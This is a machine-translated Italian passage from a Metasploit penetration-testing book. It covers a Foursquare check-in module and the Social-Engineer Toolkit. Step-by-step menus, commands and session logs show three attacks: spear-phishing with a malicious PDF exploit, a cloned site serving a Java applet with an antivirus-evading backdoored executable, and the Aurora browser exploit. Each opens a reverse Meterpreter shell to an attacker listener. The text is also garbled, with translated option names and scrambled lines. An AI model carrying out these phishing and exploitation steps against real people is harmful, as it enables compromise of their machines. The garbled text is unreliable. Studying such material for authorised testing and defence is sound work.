Ora raggiungiamo la logica effettiva dello script: cosa succede quando viene chiamato run all'interno del modulo.
Inizialmente le opzioni fornite sono impostate su nomi di variabili locali insieme alla definizione di vari altri
oggetti. Viene quindi creato un oggetto chiamando il metodo send_request_cgi importato nello script da lib/msf/core/
exploit/http.rb e definito come "Si collega al server, crea una richiesta, invia la richiesta, legge la risposta". Questo
metodo accetta vari parametri che compongono la chiamata al server effettivo, come mostrato qui.

print_status("#{res}") #questo restituisce l'intera risposta. Probabilmente potremmo fare a #senza questo ma è
così
bello vedere cosa sta succedendo fine

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout


rescue ::Timeout::Error, ::Errno::EPIPE =>e mette e.message

fine
fine
Machine Translated by Google
Dopo aver creato questo oggetto, vengono stampati i risultati. Se qualcosa va storto, esiste una logica per catturare
eventuali errori e segnalandoli all'utente. Tutta questa logica è semplice ed è solo una questione di collegamento
vari parametri nelle funzioni esistenti del Framework. Questo è un ottimo esempio del potere di
il Framework, perché ci consente di concentrarci solo sulle informazioni necessarie per affrontare il nostro
obiettivo. Non vi è alcun motivo per riprodurre nessuna delle funzioni standard come la gestione degli errori, la connessione
gestione, e così via.

Vediamo questo modulo in azione. Se non ricordi il percorso completo del modulo all'interno del file
Struttura della directory Metasploit, cercala in questo modo.

msf > cerca foursquare


[*] Ricerca moduli caricati per pattern 'foursquare'...

Ausiliario
=========

Nome Rango Descrizione


---- ---- -----------
admin/foursquare normale Poster della posizione di Foursquare

msf> usa admin/foursquare

msf ausiliario(foursquare) > info

Nome: Poster della posizione di Foursquare


Versione: $Revisione:$
Licenza: Metasploit Framework License (BSD)
Grado: Normale

Fornito da:
CG <cg@carnal0wnage.com>

Opzioni di base:
Nome Impostazioni correnti Descrizione richiesta
---- --------------- -------- -----------

PASSWORD password sì password quadrilatera


Procure No Usa una catena proxy
ARROSTO api.foursquare.com si 80 si si si L'indirizzo di destinazione
RAPPORTO La porta di destinazione
USERNAME nome utente nome utente foursquare
SEDE 185675 sede quadrilatera
VHOST No Host virtuale del server HTTP

Descrizione:
F*ck con Foursquare, sii ovunque tu voglia essere per ID sede

Riferimenti:
http://groups.google.com/group/foursquare-api
http://www.mikekey.com/im-a-foursquare-cheater/

Nell'esempio precedente, cerchiamo "foursquare" , emettiamo il comando use per selezionare l'ausiliario
modulo e visualizzare le informazioni per il modulo selezionato. Sulla base delle opzioni presentate sopra,
dobbiamo prima configurarne alcuni.

msf ausiliario(foursquare) > set VENUEID 2584421


SEDE => 2584421
Machine Translated by Google > set USERNAME msf@elwood.net USERNAME
msf ausiliario(foursquare)
=> metasploit msf ausiliario(foursquare) > set PASSWORD ilovemetasploit
PASSWORD => ilovemetasploit

msf ausiliario(foursquare) > esegui [*]


Utente/Pass con codifica Base64: bXNmQGVsd29vZC5uZXQ6aWxvdmVtZXRhc3Bsb2l0 [*]
Utente/Pass con codifica Base64: msf@elwood.net:ilovemetasploit [*] HTTP/1.1 200 OK Tipo di
contenuto: text/xml; charset=utf-8 Data: Sat, 08 May 2010 07:42:09 GMT Content-Length: 1400
Server: nginx/0.7.64 Connessione: keep-alive

<?xml version="1.0" encoding="UTF-8"?>


<checkin><id>40299544</id><created>Sab, 08 May
10 07:42:09 +0000</created><message> OK!
Abbiamo te @ Washington DC Union Station. Questo è il tuo primo
check-in qui!</message> <venue><id>2584421</id><name>Washington
DC Union Station</name><categoria primaria><id>79283</

id><fullpathname>Viaggio:Stazione ferroviaria</
fullpathname><nodename>Stazione ferroviaria</nodename>
<iconurl>http://foursquare.com/img/categories/travel/
trainstation.png</iconurl></primary
categoria><indirizzo>Union Station</address><città>Washington</city><stato>DC</
statale><geolat>
38.89777986957695</geolat><geolong>-77.0060920715332
</geolong> </venue> <sindaco> <tipo> nessun cambiamento
</type><checkins>4</checkins><user><id>685446</id><firstname>
Ron</firstname><photo>http://
playfoursquare.s3.amazonaws.com/userpix_thumbs/ELOW44Q
HXJFB4PWZ.jpg</photo><genere>maschio</
gender></user><message>Ron è il sindaco di
Washington DC Union Station.</message></mayor>
<badge><badge><id>1</id><name>Novizio</name>< icon>http://foursquare.com/
img/badge/newbie .png</icon><description>Congratulazioni per il tuo primo check-
in!</description></badge></badges> <scoring><score> <punti>1</
punti><icon>http://foursquare.com/img/scoring/2.png</icon>

<message>Prima tappa stasera </message></score>


<score><points>5</points><icon>http://
foursquare.com/img/scoring/1.png</icon>
<message>Prima volta alla Washington DC Union Station!</ message></
score></scoring></checkin>

Per eseguire correttamente questo modulo, abbiamo bisogno di un set valido di credenziali Foursquare per fare
il check-in. Definiamo prima il VenueID che troviamo online con un po' di Google, quindi
credenziali
impostiamo
Foursquare
le nostreed
eseguiamo il modulo. Otteniamo un risultato positivo con il servizio Foursquare che conferma il nostro check-in
e ci regala cinque punti.
In questo caso, abbiamo presentato una richiesta di "check-in" presso la Union Station di Washington, DC,
sul servizio Foursquare (vedi Figura 9-1).
Machine Translated by Google

Figura 9-1. Un check-in riuscito alla Union Station

Quando controlliamo il sito web di Foursquare, vediamo un risultato positivo. Moduli come questi dimostrano che
Metasploit ci consente di implementare quasi tutto ciò che possiamo immaginare a livello di programmazione.
Machine Translated by Google

Andando avanti Come


hai visto, i moduli ausiliari possono avere una vasta gamma di usi. L'infrastruttura fornita da Metasploit
Framework può produrre un'ampia gamma di strumenti in brevissimo tempo. Utilizzando i moduli ausiliari di
Metasploit, puoi scansionare un intervallo di indirizzi IP per determinare quali host sono attivi e quali servizi
sono in esecuzione su ciascun host. È quindi possibile sfruttare queste informazioni per determinare i servizi
vulnerabili, come nell'esempio WebDAV, o persino accedere tramite la forza bruta su un server remoto.
Sebbene sia possibile creare facilmente moduli ausiliari personalizzati, non scontare i moduli ausiliari
esistenti nel Framework. Questi moduli potrebbero essere lo strumento unico di cui hai bisogno.
I moduli ausiliari forniscono un'ampia gamma di potenziali vie aggiuntive. Per un'applicazione web, i moduli
ausiliari offrono più di 40 controlli o attacchi aggiuntivi che puoi eseguire. In alcuni casi, potresti voler forzare un
server Web per vedere quali server elencano le directory. Oppure potresti voler scansionare il server web per
vedere se può fungere da proxy aperto e inoltrare il traffico a Internet. Indipendentemente dalle tue esigenze, i
moduli ausiliari possono fornire ulteriori informazioni sull'enumerazione, vettori di attacco o vulnerabilità.
Machine Translated by Google

Capitolo 10. Il Social-Engineer Toolkit Il Social-Engineer


Toolkit (SET) è stato sviluppato in concomitanza con il rilascio di Social-Engineer.org, un insieme
di risorse ideato da Chris Hadnagy (loganWHD) e scritto da uno degli autori di questo libro, David
Kennedy. Il sito offre una posizione centralizzata per tutorial di ingegneria sociale e spiega
terminologie, definizioni e scenari che possono aiutarti a prepararti all'hacking della mente umana.
Lo scopo di SET è colmare una lacuna nella comunità dei test di penetrazione e sensibilizzare gli attacchi di
ingegneria sociale. E ha avuto successo: SET è stato scaricato 1 milione di volte ed è ora uno standard del settore
per l'implementazione di attacchi di ingegneria sociale. Il toolkit attacca le debolezze umane, sfruttando la curiosità,
la credibilità, l'avarizia e la semplice stupidità umana. Gli attacchi di ingegneria sociale sono ai massimi livelli e sono
sempre stati un grosso rischio per molte organizzazioni.
Naturalmente, l'ingegneria sociale non è una novità. Una persona che cerca di convincere un'altra a compiere atti
che normalmente non farebbe è vecchia quanto il tempo stesso. Molti nella comunità della sicurezza credono che
l'ingegneria sociale sia uno dei maggiori rischi che le organizzazioni devono affrontare, perché è estremamente
difficile proteggere le organizzazioni da attacchi in questo modo. (Potresti ricordare l'ultrasofisticato attacco
dell'Operazione Aurora, ad esempio, in cui l'ingegneria sociale è stata utilizzata per attaccare Gmail e altre fonti di dati
di Google.)
Un vettore di attacco è la via utilizzata per ottenere informazioni o accedere a un sistema. SET classifica gli attacchi
in base al vettore di attacco (come Web, e-mail e attacchi basati su USB). Utilizza e-mail, siti Web contraffatti e altri
vettori per raggiungere obiettivi umani, in genere inducendo le persone a compromettere l'obiettivo o rilasciare
informazioni sensibili. Naturalmente, ogni vettore può avere una diversa percentuale di successo a seconda del suo
target e della comunicazione utilizzata. SET viene fornito anche precompilato con e-mail e modelli di siti Web che
possono essere utilizzati per attacchi di ingegneria sociale. SET utilizza pesantemente il Metasploit Framework.
A causa della natura sociale degli attacchi stessi, ogni esempio in questo capitolo è accompagnato da una breve
storia.

Configurazione del Social-Engineer Toolkit Per


impostazione predefinita, in Back|Track, SET si trova nella directory /pentest/exploits/set/.
Prima di iniziare, assicurati di eseguire l'ultima versione di SET.
root@bt:/pentest/exploits/set# svn update

Quindi, configura il tuo file di configurazione SET in base a ciò che stai tentando di realizzare. Tratteremo un paio di
semplici funzionalità all'interno del file di configurazione config/set_config all'interno della directory principale SET.

Quando si utilizzano i vettori di attacco basati sul Web SET, è possibile attivare il flag WEBATTACK_EMAIL per
eseguire il phishing tramite e-mail insieme all'attacco Web. Questo flag è disattivato per impostazione predefinita, il che
significa che configurerai SET e utilizzerai il vettore di attacco Web senza il supporto del phishing e-mail.
METASPLOIT_PATH=/opt/framework3/msf3

WEBATTACK_EMAIL=ON

Uno degli attacchi basati sul Web disponibili in SET è l'attacco dell'applet Java, che utilizza applet Java autofirmate.
Per impostazione predefinita, questo attacco utilizza Microsoft come nome dell'editore; tuttavia, se è stato installato
Java Development Kit (JDK), è possibile attivare questa opzione e firmare l'applet con il nome desiderato. Quando
attivi questo flag su ON, saranno disponibili opzioni aggiuntive tramite il
Machine Translated by Google
interfaccia.

SELF_SIGNED_APPLET=ON

L' impostazione AUTO_DETECT è uno dei flag più importanti ed è attivata per impostazione predefinita. Dice a SET di rilevare
automaticamente il tuo indirizzo IP locale e di usarlo come indirizzo per la connessione inversa e i server web. Se stai utilizzando
più interfacce o il tuo listener di payload inverso è ospitato in una posizione diversa, disattiva questo flag . Quando questa opzione
è disattivata, SET consente di specificare più scenari per garantire che venga utilizzato lo schema di indirizzi IP corretto, ad
esempio, in uno scenario che include NAT e port forwarding. Queste opzioni si riflettono nell'interfaccia SET.

AUTO_DETECT=OFF

Quando si utilizza il toolkit, per impostazione predefinita viene utilizzato un server basato sul Web Python integrato.
Per ottimizzare le prestazioni, imposta il flag APACHE_SERVER su ON e SET utilizzerà Apache per gli attacchi.

SERVER_APACHE=ON

Queste sono le basi del file di configurazione. Come puoi vedere, puoi modificare in modo significativo il comportamento di
SET a seconda di quali flag sono impostati nello strumento. Ora eseguiamo lo strumento.
Machine Translated by Google
Vettore di attacco di spear-phishing Il vettore di
attacco di spear-phishing crea appositamente exploit di formato file (come exploit Adobe PDF) e invia
principalmente attacchi e-mail contenenti allegati a una destinazione che, una volta aperta, compromettono
la macchina della destinazione. SET può utilizzare inoltri aperti SMTP (Simple Mail Transport Protocol) (sia
anonimi che con credenziali), Gmail e Sendmail per inviare e-mail. SET può anche utilizzare e-mail standard
o e-mail basate su HTML per eseguire l'attacco di phishing.

Consideriamo un test di penetrazione nel mondo reale rivolto all'azienda CompanyXYZ. Si registra un nome di
dominio simile alla Società XYZ, ad esempio coompanyxyz.com. Quindi registri il sottodominio
coom.panyXYZ.com. Successivamente, invii un attacco di spear-phishing all'organizzazione di destinazione,
sapendo che la maggior parte dei dipendenti guarda solo alla posta elettronica e aprirà qualsiasi allegato che
sembra legittimo. In questo caso, invieremo un bug del formato file PDF al nostro target, in questo modo.
root@bt:/pentest/exploits/set# ./set

Seleziona dal menù:

1. Vettori di attacchi di spear-phishing 2.


Vettori di attacchi al sito web 3. Generatore di
media infettivi 4. Creare un carico utile e un
listener 5. Attacco tramite mailer di massa 6.
Vettore di attacco Teensy USB HID 7. Vettore
di attacco di spoofing SMS 8. Vettore di
attacco al punto di accesso wireless 9 Moduli
di terze parti 10. Aggiorna Metasploit Framework 11.
Aggiorna Social-Engineer Toolkit 12. Guida, crediti e
informazioni 13. Esci da Social-Engineer Toolkit

Inserisci la tua scelta: 1

Benvenuto nel metodo di attacco SET E-Mail. Questo modulo ti consente di creare
messaggi e-mail in modo speciale e inviarli a un numero elevato (o piccolo) di persone con
allegati dannosi in formato file. Se vuoi falsificare il tuo indirizzo email, assicurati che "Sendmail"
sia installato (è installato in BT4) e cambia il flag config/set_config SENDMAIL=OFF in
SENDMAIL=ON.

Ci sono due opzioni, una è bagnarsi i piedi e lasciare che SET faccia tutto per te (opzione 1), la
seconda è creare il tuo payload FileFormat e usarlo nel tuo attacco. Ad ogni modo, buona fortuna e
buon divertimento!

1. Esegui un attacco e-mail di massa 2.


Crea un payload FileFormat 3. Crea un
modello di ingegneria sociale 4. Torna al menu
principale

Inserisci la tua scelta: 1

Seleziona l'exploit del formato file che desideri.


L'impostazione predefinita è l'EXE incorporato nel PDF.

********** CARICHI UTILI


**********
Machine Translated by Google
1. IMPOSTARE il vettore di attacco di dirottamento DLL scritto personalizzato (RAR, ZIP)
2. SET Documento scritto personalizzato UNC LM SMB Capture Attack 3. Microsoft Windows
CreateSizedDIBSECTION Stack Buffer Overflow 4. Microsoft Word RTF pFragments Stack Buffer Overflow
(MS10-087)
5. Esecuzione del codice remoto del "pulsante" di Adobe Flash Player 6. Overflow della
tabella "uniqueName" di Adobe CoolType SING 7. Utilizzo del puntatore non valido
"nuova funzione" di Adobe Flash Player

8. Overflow del buffer Adobe Collab.collectEmailInfo


9. Adobe Collab.getIcon Buffer Overflow 10. Adobe JBIG2Decode
Memory Corruption Exploit 11. Adobe PDF Embedded EXE Social Engineering
12. Adobe util.printf() Buffer Overflow 13. EXE personalizzato su VBA (inviato
tramite RAR) (richiesto RAR)

14. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun 15. Adobe PDF Embedded
EXE Social Engineering (NOJS)
16. Overflow del buffer dello stack del titolo di Foxit PDF Reader v4.1.1 17. Overflow del
buffer dello stack di avvio di Nuance PDF Reader v6.0

Immettere il numero desiderato (premere invio per impostazione predefinita): 8

1. Shel TCP inverso di Windows Genera una shell di comando


sulla vittima e rispedire a
attaccante.
2. Shell meterpreter di Windows Meterpreter Genera un
Reverse_TCP sulla vittima e rispedizione
all'attaccante.
3. DLL VNC inversa di Windows Genera un server VNC
sulla vittima e rispedire a
attaccante.
4. Shell TCP inversa di Windows (x64) Shell dei comandi di Windows X64,
Inverso TCP in linea
5. Windows Meterpreter Reverse_TCP (X64) Riconnettersi all'attaccante (Windows x64),
Meterpreter
6. Windows Shell Bind_TCP (X64) crea una porta Esegui payload e
di accettazione
sistema remoto.
7. Windows Meterpreter Inverte HTTPS su HTTP utilizzando Comunicazione a tunnel
SSL e utilizza
Meterpreter.

Immettere il carico utile desiderato (premere invio per impostazione predefinita): [*]
Windows Meterpreter Reverse TCP selezionato.
Immettere la porta su cui riconnettersi (premere invio per impostazione predefinita): [*] Predefinito
alla porta 443...
[*] Generazione di exploit del formato file...
[*] Attendi mentre carichiamo l'albero dei moduli...
[*] Gestione inversa avviata il 10.10.1.112:443 [*] Creazione del file
'template.pdf'...
[*] File di output generato /pentest/exploits/set/src/program_junk/template.pdf [*] Creazione del payload completata.

[*] Tutti i payload vengono inviati alla directory src/msf_attacks/template.pdf [*] Generazione del payload completata.
Premi Invio per continuare.

Come bonus aggiuntivo, usa il creatore di formati di file in SET per creare il tuo allegato.
In questo momento l'allegato verrà importato con il nome del file 'template.whatever'
Vuoi rinominare il file? esempio Immettere il nuovo
nome file: moo.pdf
Machine Translated by Google
1. Mantieni il nome del file, non mi interessa.
2. Rinomina il file, voglio essere cool.

Inserisci la tua scelta (inserisci per impostazione


predefinita): 1 Mantieni il nome del file e vai avanti.

Dal menu principale SET, seleziona Vettori di attacco di spear-phishing seguito da Esegui una messa
Attacco e-mail . Questo attacco infetta un file PDF utilizzando la vulnerabilità Adobe Collab.collectEmailInfo
, un payload inverso Metasploit Meterpreter che è l'impostazione predefinita. Collab.collectEmailInfo è un
exploit basato su heap che, se aperto (e se la versione di destinazione di Adobe Acrobat è vulnerabile a questo
exploit), si connetterà alla workstation attaccante sulla porta 443, che di solito consente il traffico in uscita dalla
maggior parte delle reti.

Hai anche la possibilità di rinominare il file dannoso per renderlo più allettante per l'apertura del bersaglio. Il
nome predefinito (template.pdf) viene selezionato in questo scenario a scopo dimostrativo.
E-mail di massa del toolkit dell'ingegnere sociale

Ci sono due opzioni sull'e-mail di massa, la prima sarebbe quella di inviare un'e-
mail a una singola persona. La seconda opzione ti consentirà di importare un elenco e
inviarlo a tutte le persone che desideri all'interno di quell'elenco.

Cosa vuoi fare:

1. Indirizzo e-mail singolo attacco e-mail 2. Mailer


di massa attacco e-mail 3. Torna al menu principale.

Inserisci la tua scelta: 1

Vuoi utilizzare un modello predefinito o creare un modello di email


una tantum.

1. Modello predefinito 2. Modello


e-mail monouso

Inserisci la tua scelta: 1


Di seguito è riportato un elenco di modelli disponibili:

1: Nuovo
aggiornamento 2:
Computer Problema 3: Strano utilizzo di Internet dal tuo
computer 4: LOL... devi verificarlo...

5: Rapporto sullo stato


6: Modulo di richiesta di aumento di
stipendio 7: WOAAAA!!!!!!!!!! Questo è pazzesco...
8: Biglietti Basket 9: Baby
Pics 10: Hai visto questo?

11: Lista di cessazione 12:


Quanto tempo è passato?
13: Angeli e demoni di Dan Brown

Inserisci il numero che vuoi utilizzare: 5


Machine Translated by Google
Inserisci a chi vuoi inviare l'e-mail: ihazomgsecurity@secmaniac.com

Quale opzione vuoi usare?

1. Usa un account GMAIL per il tuo attacco e-mail.


2. Usa il tuo server o apri il relay

Inserisci la tua scelta: 1


Inserisci il tuo indirizzo email GMAIL: fakeemailaddy@gmail.com Inserisci
la tua password per gmail (non ti verrà mostrata):

SET ha finito di consegnare le email.

Successivamente inviamo questo attacco tramite e-mail a un singolo indirizzo e-mail utilizzando il modello di e-mail
predefinito SET Report sullo stato . Infine, inseriamo l'indirizzo e-mail (ihazomgsecurity@secmaniac.com) a cui inviare
il file dannoso e facciamo in modo che SET utilizzi un account Gmail per inviare il messaggio.

Infine, crea un listener Metasploit a cui riconnettere il payload . Quando SET viene avviato
Metasploit, configura tutte le opzioni necessarie e inizia ad ascoltare il tuo indirizzo IP di attacco sulla porta 443
, come configurato in precedenza.

Vuoi impostare un listener sì o no: sì

risorsa (src/program_junk/meta_config)> usa la risorsa exploit/multi/handler (src/


program_junk/meta_config)> imposta PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/
meterpreter/reverse_tcp risorsa (src/program_junk/meta_config)> imposta LHOST 10.10.1.112

LHOST => 10.10.1.112


risorsa (src/program_junk/meta_config)> set LPORT 443 LPORT => 443
risorsa (src/program_junk/meta_config)> set ENCODING shikata_ga_nai
ENCODING => shikata_ga_nai risorsa (src/program_junk/meta_config)> set ExitOnSession
false ExitOnSession => risorsa falsa (src/program_junk/meta_config)> exploit -j [*] Exploit in
esecuzione come lavoro in background.

[*] Avvio del gestore inverso il 10.10.1.112:443 [*] Avvio del


gestore del carico utile... msf exploit(handler) >

Abbiamo appena impostato un attacco contro ihazomgsecurity@secmaniac.com, ha creato un'e-mail al


destinatario e ha utilizzato un exploit del formato file Adobe. SET ci ha permesso di creare modelli e importarli
dinamicamente quando utilizziamo lo strumento. Quando il target apre l'e-mail e fa doppio clic sul file Adobe, vedrà
qualcosa come la Figura 10-1.
Machine Translated by Google

Figura 10-1. La vista del target del file PDF infetto

Il target apre il PDF pensando che sia legittimo e il suo sistema viene immediatamente compromesso. Dal lato
dell'attaccante, vedi quanto segue:
[*] Gestore inverso avviato il 10.10.1.112:443 [*] Avvio del
gestore del carico utile... msf exploit(handler) > [*] Fase di invio
(748032 byte) a 10.10.1.102 [*] Sessione Meterpreter 1 aperta (10.10 .1.112:443 ->
10.10.1.102:58087)

msf exploit(gestore) > sessioni -i 1 [*] Inizio


dell'interazione con 1...

meterpreter > shell


Processo 2976 creato.
Canale 1 creato.
Microsoft Windows XP [versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documenti e Impostazioni\Bob\Desktop>

Questo esempio ha utilizzato un attacco di spear-phishing per prendere di mira un utente, ma SET può anche essere
utilizzato per attaccare più obiettivi utilizzando l'opzione "e-mail di massa". Puoi anche creare modelli personalizzati che
possono essere riutilizzati, invece di utilizzare i modelli predefiniti inclusi in SET.
Machine Translated by Google
Vettori di attacchi Web
I vettori di attacco Web sono probabilmente uno degli aspetti più avanzati ed eccitanti di SET, perché sono creati
appositamente per essere credibili e allettanti per il bersaglio. SET può clonare siti Web che sembrano identici a siti
attendibili, contribuendo a garantire che il target pensi che stia visitando un sito legittimo.

Applet Java L'attacco


dell'applet Java è uno dei vettori di attacco di maggior successo in SET. L'applet stessa è stata creata da
uno degli sviluppatori SET, Thomas Werth. Questo attacco introduce un'applet Java dannosa che esegue il
rilevamento intelligente del browser (in modo che il tuo exploit funzioni) e fornisce un carico utile alla macchina di
un bersaglio. L'attacco all'applet Java non è considerato una vulnerabilità da Java. Quando un target esplora il
sito dannoso, viene presentato con un avviso che chiede se desidera eseguire un'applet Java non attendibile.
Poiché Java ti consente di firmare un'applet con qualsiasi nome tu scelga, puoi chiamare l'editore Google,
Microsoft o qualsiasi altra stringa tu scelga. Modificando il file set_config e impostando WEBATTACK_EMAIL su
ON, puoi anche incorporare e-mail di massa con questo attacco.
Esaminiamo un esempio del mondo reale: un test di penetrazione eseguito per un'azienda Fortune 1000.
In primo luogo, è stato registrato un nome di dominio copycat, simile a quello del sito Web dell'azienda.
Successivamente, l'attaccante ha esplorato Internet alla ricerca di indirizzi e-mail @<azienda>.com utilizzando il
modulo Harvester all'interno di Metasploit. Dopo aver estratto 200 indirizzi e-mail da siti Web pubblici, a questi indirizzi
sono state inviate e-mail di massa. L'e-mail di attacco affermava di provenire dal dipartimento delle comunicazioni
dell'azienda e chiedeva al dipendente di guardare il sito Web aziendale di nuova concezione. Ogni e-mail era
personalizzata con il nome del destinatario e affermava che il dipendente poteva fare clic su un collegamento per
visualizzare una sua foto sulla home page dell'azienda. L'e-mail diceva che questo nuovo sito web mostrava la
fotografia del dipendente come testimonianza del suo duro lavoro. La curiosità e la paura sono state le principali
motivazioni per convincere ogni target a fare clic immediatamente sull'URL.
Dopo che il target ha fatto clic sul collegamento, è apparsa una notifica dell'applet Java, firmata dalla società
del dipendente. La destinazione ha fatto clic sul comando Esegui perché la notifica sembrava legittima; tuttavia, il
comando era basato sul sito clonato sotto il dominio falso. Anche se i dipendenti non hanno visto le loro foto, è stato
presentato loro un sito Web che sembrava legittimo, non rendendosi conto che le loro macchine erano state
compromesse: quando l'utente ha fatto clic su Esegui sul prompt di sicurezza dell'applet Java, è stato eseguito un
payload e è stata consegnata una shell all'attaccante. Una volta eseguito il payload, il target è stato reindirizzato al
sito legittimo.
SET può essere utilizzato per clonare un sito Web e riscriverne parti in modo che, quando un bersaglio visita il sito
dannoso, sembri identico al sito originale. Vediamo come potremmo impostare questo attacco su un sito fittizio, http://
www.secmaniac.com/, nel SET:
root@bt:/pentest/exploits/set# ./set

Seleziona dal menù:

2. Vettori di attacco al sito web

Inserisci la tua scelta: 2

1. Il metodo di attacco dell'applet Java

Inserisci la tua scelta (premi invio per impostazione predefinita): 1


Machine Translated by Google
Il primo metodo consentirà a SET di importare un elenco di applicazioni Web predefinite che
può utilizzare all'interno dell'attacco.

Il secondo metodo clonerà completamente un sito Web di tua scelta e ti consentirà di utilizzare i
vettori di attacco all'interno della stessa applicazione Web che stavi tentando di clonare.

Il terzo metodo ti consente di importare il tuo sito web, tieni presente che dovresti avere solo un
index.html quando usi la funzionalità di importazione del sito web.

[!] Vettori di attacchi al sito web [!]

1. Modelli Web
2. Clonazione del sito
3. Importazione
personalizzata 4. Ritorna al menu principale

Immettere il numero (1-4): 2

SET supporta sia HTTP che HTTPS Esempio:


http://www.thisisafaksite.com

Inserisci l'URL da clonare: http://www.secmaniac.com

[*] Clonazione del sito web: http://www.secmaniac.com [*] Potrebbe


volerci un po'...
[*] Iniezione di un attacco Java Applet nel sito Web appena clonato.
[*] Offuscamento nome file completo. Il nome del payload è: 0xvV3cYfbLBI3 [*] Sito Web di
applet java dannoso pronto per la distribuzione

Per iniziare questo scenario di attacco, seleziona Website Attack Vectors dal menu principale
Metodo di attacco dell'applet Java , SET. Usa e quindi scegli Site Cloner dal menu successivo. Infine, raccon
SET per clonare il sito web di SecManiac .
Quale carico utile vuoi generare:

Nome: Descrizione:

2. Shell Reverse_TCP Meterpreter di Windows Genera un meterpreter


sulla vittima e invio
torna all'attaccante.

Inserisci la scelta (premi invio per impostazione predefinita):

Di seguito è riportato un elenco di codifiche per provare a bypassare AV.

Seleziona uno dei seguenti, "eseguibile con backdoor" è in genere il migliore.

16. Eseguibile con backdoor (MIGLIORE)

Inserisci la tua scelta (inserisci per impostazione predefinita):


[-] Immettere la PORTA dell'ascoltatore (inserire per impostazione predefinita):

[-] Eseguire il backdoor di un eseguibile legittimo per aggirare l'Anti-Virus. Aspetta qualche secondo...
[-] Backdoor completata con successo. Il carico utile è ora nascosto
all'interno di un eseguibile legittimo.
Machine Translated by Google
************************************************** ******

Vuoi creare un payload Linux/OSX reverse_tcp anche nell'attacco dell'applet


Java?
************************************************** ******

Inserisci la scelta si o no: no


************************************************** *

Server Web lanciato. Benvenuti al SET Web Attack.


************************************************** *

[--] Testato su IE6, IE7, IE8, Safari, Chrome e FireFox [--]

[*] Avvio di MSF Listener...


[*] Il caricamento di MSF potrebbe richiedere alcuni minuti...

Come con altri metodi di attacco SET, gli aggressori possono utilizzare una varietà di payload. Il carico utile di
Meterpreter inverso predefinito è solitamente una scelta eccellente. Per questo scenario, puoi semplicemente selezionare le
impostazioni predefinite quando richiesto per il codificatore da utilizzare e la porta da utilizzare per riconnettersi.

Con la configurazione completata, SET lancia Metasploit:

risorsa (src/program_junk/meta_config)> exploit -j [*] Exploit in


esecuzione come lavoro in background.

[*] Avvio del gestore inverso il 10.10.1.112:443 [*] Avvio del


gestore del carico utile... msf exploit(handler) >

SET passa tutte le opzioni necessarie a Metasploit, che quindi configura il listener Meterpreter inverso sulla porta 443
.

NOTA
Hai creato un server web che ospita un'istanza clonata di http://www.secmaniac.com/. Se avessi modificato il file di configurazione
per includere WEBATTACK_EMAIL=ON, ti sarebbe stato chiesto di inviare un'e-mail utilizzando il vettore di attacco spear-phishing
(meno allegati).

Ora che tutto è impostato, devi semplicemente ottenere un target per navigare sul sito dannoso. Dopo aver raggiunto il sito
Web, la destinazione vede un avviso pop-up dell'editore, Microsoft, come mostrato nella Figura 10-2. Se il target fa clic su
Esegui e la maggior parte degli utenti lo farà, il payload verrà eseguito e otterrai il pieno controllo del sistema dell'utente.

NOTA
Ricordiamo che la configurazione di SET può autofirmare l'applet Java con qualsiasi cosa tu voglia. Ricorda, inoltre, che quando il target fa
clic su Esegui e il payload viene eseguito e consegnato, il target viene reindirizzato al sito Web legittimo di SecManiac.
Machine Translated by Google

Figura 10-2. Prompt dell'applet Java

Sulla nostra macchina attaccante, la sessione Meterpreter è stata stabilita con successo e ora abbiamo accesso alla
macchina del bersaglio come mostrato qui.

msf exploit(handler) > [*] Fase di invio (748032 byte) a 10.10.1.102 [*] Sessione Meterpreter 1
aperta (10.10.1.112:443 -> 10.10.1.102:58550)

msf exploit(gestore) > sessioni -i 1 [*] Inizio


dell'interazione con 1...

shellmeterpreter > shell Processo


2800 creato.
Canale 1 creato.
Microsoft Windows XP [versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documenti e impostazioni\Amministratore\Desktop>

Exploit Web lato client SET può anche utilizzare

exploit Web lato client. In questo caso, invece di presentare un'applet Java alla destinazione, viene utilizzato un exploit lato
client importato direttamente da Metasploit per attaccare il sistema. Per utilizzare gli exploit lato client, devi fare affidamento
sulla tua precedente ricognizione o sperare che l'utente sia suscettibile di una vulnerabilità specifica. Questo metodo è
particolarmente soddisfacente se viene rilevata una vulnerabilità zero-day: non appena un exploit viene rilasciato da Metasploit,
in genere viene testato e pubblicato tramite SET entro un'ora.

In questo esempio, ripeteremo lo scenario precedente, ma utilizzeremo un attacco lato client. Gli attacchi lato client
prendono di mira specificamente (principalmente) i difetti del browser. La maggior parte degli exploit in SET prendono di
mira Internet Explorer; tuttavia, vengono utilizzati anche exploit di Firefox. In questo scenario, utilizzeremo il vettore di attacco
Aurora utilizzato per compromettere Google. Per iniziare, procedi come segue:

root@bt:/pentest/exploits/set# ./set

Seleziona dal menù:

2. Vettori di attacco al sito web


Machine Translated
Inserisci by Google
la tua scelta: 2

2. Il metodo di sfruttamento del browser Metasploit

Inserisci la tua scelta (premi invio per impostazione predefinita): 2

[!] Vettori di attacchi al sito web [!]

2. Clonazione del sito

Immettere il numero (1-4): 2

SET supporta sia HTTP che HTTPS Esempio:


http://www.thisisafaksite.com

Inserisci l'URL da clonare: http://www.secmaniac.com

Seleziona Website Attack Vectors dal menu principale SET, quindi seleziona The Metasploit Browser Quindi
. seleziona
il sito Web che desideri utilizzarel' opzione
per la clonazione.
Site Cloner e inserisci http://www.secmaniac.com come Exploit Method

Una volta clonato il sito, imposteremo l'exploit in modo che si attivi quando un target naviga nel sito.
Inserisci l'exploit del browser che desideri utilizzare

16. Microsoft Internet Explorer "Aurora"

Inserisci la tua scelta (1-23) (inserisci per impostazione predefinita): 16


Quale carico utile vuoi generare:

Nome: Descrizione:

2. Shell Reverse_TCP Meterpreter di Windows Genera un meterpreter


sulla vittima e invio
torna all'attaccante.

Immettere la scelta (esempio 1-10) (Inserire per impostazione predefinita):


Immettere la porta da utilizzare per il reverse (inserire per impostazione predefinita):

[*] Clonazione del sito web: http://www.secmaniac.com [*] Potrebbe


volerci un po'...
[*] Iniezione di iframe nel sito Web clonato per MSF Attack....
[*] Iniezione di iframe dannosa riuscita... carico utile di creazione.
[*] Avvio di MSF Listener...
[*] Il caricamento di MSF potrebbe richiedere alcuni minuti...

